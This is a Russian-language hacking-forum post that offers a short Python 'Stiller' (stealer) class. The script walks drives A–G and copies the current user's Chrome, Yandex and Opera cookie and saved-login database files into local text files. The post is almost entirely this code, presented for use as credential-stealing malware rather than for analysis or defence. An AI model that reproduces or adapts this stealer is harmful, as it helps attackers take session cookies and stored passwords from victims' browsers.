Показать сообщение отдельно

  #26  
Старый 22.09.2020, 16:17
SacuraSan
Новичок
Регистрация: 21.09.2020
Сообщений: 0
С нами: 2970849

Репутация: 0
По умолчанию

Написал тоже самое, но с классом и списками )

Согласитесь, так же удобнее )

Python:


Код:
import
getpass
import
os
class
Stiller
:
def
__init__
(
self
)
:
self
.
UserName
=
"\\"
+
getpass
.
getuser
(
)
self
.
disk_list
=
[
"A"
,
"B"
,
"C"
,
"D"
,
"E"
,
"F"
,
"G"
]
self
.
list_dir
=
{
':\\Users'
+
self
.
UserName
+
'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
:
"Cookie_google"
,
":\\Users"
+
self
.
UserName
+
"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
:
"Pass_google"
,
":\\Users"
+
self
.
UserName
+
"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
:
"Cookie_yandex"
,
":\\Users"
+
self
.
UserName
+
"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"
:
"Pass_yandex"
,
":\\Users"
+
self
.
UserName
+
"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
:
"Cookie_opera"
,
":\\Users"
+
self
.
UserName
+
"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
:
"Pass_opera"
}
@staticmethod
def
read_write_file
(
dir
,
filename
)
:
content
=
""
with
open
(
dir
,
'rb'
)
as
file
:
content
=
file
.
read
(
)
with
open
(
filename
,
"wb"
)
as
file
:
file
.
write
(
content
)
return
"[+] All good"
def
start
(
self
)
:
for
disk
in
self
.
disk_list
:
for
direction
in
self
.
list_dir
:
dir
=
disk
+
direction
if
os
.
path
.
exists
(
dir
)
:
print
(
"[+] Disk - "
+
disk
+
",Yes "
+
self
.
list_dir
[
direction
]
)
result
=
self
.
read_write_file
(
dir
,
self
.
list_dir
[
direction
]
+
".txt"
)
print
(
result
)
else
:
print
(
"[-] Disk - "
+
disk
+
" ,No "
+
self
.
list_dir
[
direction
]
)
my_stiller
=
Stiller
(
)
my_stiller
.
start
(
)
 
Ответить с цитированием